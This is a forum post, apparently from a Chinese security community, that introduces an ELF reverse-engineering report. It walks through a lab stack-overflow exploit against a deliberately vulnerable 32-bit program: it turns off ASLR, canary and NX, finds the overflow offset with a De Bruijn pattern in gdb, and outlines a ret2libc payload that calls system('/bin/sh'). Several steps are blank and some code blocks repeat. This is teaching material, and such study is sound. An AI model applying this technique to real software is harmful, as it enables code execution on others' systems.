首页
社区
课程
招聘
[原创]ELF文件逆向分析
发表于: 2020-12-24 00:12 6669

[原创]ELF文件逆向分析

2020-12-24 00:12
6669

大家好,这是我第一次在看雪上发表。
这是我的一次elf文件的专题报告,内容也是由浅入深,重点讲述了ELF文件的结构、got和plt、一次重要的elf文件实验逆向。
有兴趣的,请自行下载下面的附件。
这里我简要介绍一个实验。
图片描述
明显foo()存在栈溢出漏洞,同时dummy()模仿大型的程序。在大型的程序中,jmp esp 这样的代码,很容易找到。

关闭:ASLR(系统级)
命令:sudo sysctl kernel.randomize_va_space=0
禁用:canary 和 NX
命令:gcc victim.c -o victim -g -m32 -no-pie -masm=intel -fno-stack-protector -z execstack

最简单的办法就是把想执行的代码用机器码表示, 即俗称的shellcode, 将其写入程序, 然后将返回地址修改为该段shellcode的起始地址。。
图片描述

返回地址看似是buf+10, 但考虑到编译器的不同会导致预留(对齐)不同的空间, 所以需要精确确认. 先生成(或者自己写)一个有固定模式的字符串, 这里用De Brujin序列:

然后用gdb启动victim程序调试并输入上述paylod:

看到程序发生段错误, 并且PC指针eip的值为0x41494141, 即小端的AAIA, 出现在De Brujin序列的第23字节, 所以可以确定输入溢出到第23字节时覆盖了PC指针. 确定了位置, 那么该写哪个地址值呢? 我们知道应该要跳转到shellcode头部, shellcode写在buf中, 而buf则在栈上(还记得上面的栈帧表格吗?), 反汇编foo函数:

看9~18行可以发现buf的地址为ebp-0x12,我们是不是可以直接跳转到硬编码的buf地址呢? 我们可以自己试验每次断点在foo时打印寄存器值:

故,我选用了通用的/bin/sh
现在需要我们做什么:1.找到lib地址 2.找到system地址 3.确定/bin/sh
1.

2.

3.

最后构造payload='A'*22+system地址+任意地址+bin/sh地址
图片描述
图片描述

$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
$ ragg2 -P 40 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
$ gdb victim
(gdb) run
Starting program: /home/pan/victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
 
Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141
$ gdb victim
(gdb) run
Starting program: /home/pan/victim
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
hello AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAAN
 
Program received signal SIGSEGV, Segmentation fault.
0x41494141 in ?? ()
(gdb) p $eip
$1 = (void (*)()) 0x41494141
objdump -d foo
Dump of assembler code for function foo:
   0x0804848b <+0>:    push   ebp
   0x0804848c <+1>:    mov    ebp,esp
   0x0804848e <+3>:    push   ebx
   0x0804848f <+4>:    sub    esp,0x14
   0x08048492 <+7>:    call   0x80483c0 <__x86.get_pc_thunk.bx>
   0x08048497 <+12>:    add    ebx,0x1b69
   0x0804849d <+18>:    sub    esp,0x8
   0x080484a0 <+21>:    lea    eax,[ebp-0x12]
   0x080484a3 <+24>:    push   eax
   0x080484a4 <+25>:    lea    eax,[ebx-0x1a50]
   0x080484aa <+31>:    push   eax
   0x080484ab <+32>:    call   0x8048370 <__isoc99_scanf@plt>
   0x080484b0 <+37>:    add    esp,0x10
   0x080484b3 <+40>:    sub    esp,0x8
   0x080484b6 <+43>:    lea    eax,[ebp-0x12]
   0x080484b9 <+46>:    push   eax
   0x080484ba <+47>:    lea    eax,[ebx-0x1a4d]
   0x080484c0 <+53>:    push   eax
   0x080484c1 <+54>:    call   0x8048340 <printf@plt>
   0x080484c6 <+59>:    add    esp,0x10
   0x080484c9 <+62>:    mov    eax,0x0
   0x080484ce <+67>:    mov    ebx,DWORD PTR [ebp-0x4]
   0x080484d1 <+70>:    leave 
   0x080484d2 <+71>:    ret   
End of assembler dump.
objdump -d foo
Dump of assembler code for function foo:
   0x0804848b <+0>:    push   ebp
   0x0804848c <+1>:    mov    ebp,esp
   0x0804848e <+3>:    push   ebx
   0x0804848f <+4>:    sub    esp,0x14
   0x08048492 <+7>:    call   0x80483c0 <__x86.get_pc_thunk.bx>
   0x08048497 <+12>:    add    ebx,0x1b69
   0x0804849d <+18>:    sub    esp,0x8
   0x080484a0 <+21>:    lea    eax,[ebp-0x12]
   0x080484a3 <+24>:    push   eax
   0x080484a4 <+25>:    lea    eax,[ebx-0x1a50]
   0x080484aa <+31>:    push   eax
   0x080484ab <+32>:    call   0x8048370 <__isoc99_scanf@plt>
   0x080484b0 <+37>:    add    esp,0x10
   0x080484b3 <+40>:    sub    esp,0x8
   0x080484b6 <+43>:    lea    eax,[ebp-0x12]
   0x080484b9 <+46>:    push   eax
   0x080484ba <+47>:    lea    eax,[ebx-0x1a4d]

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2021-1-1 21:17 被奋进的小杨编辑 ,原因:
上传的附件:
收藏
免费 3
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//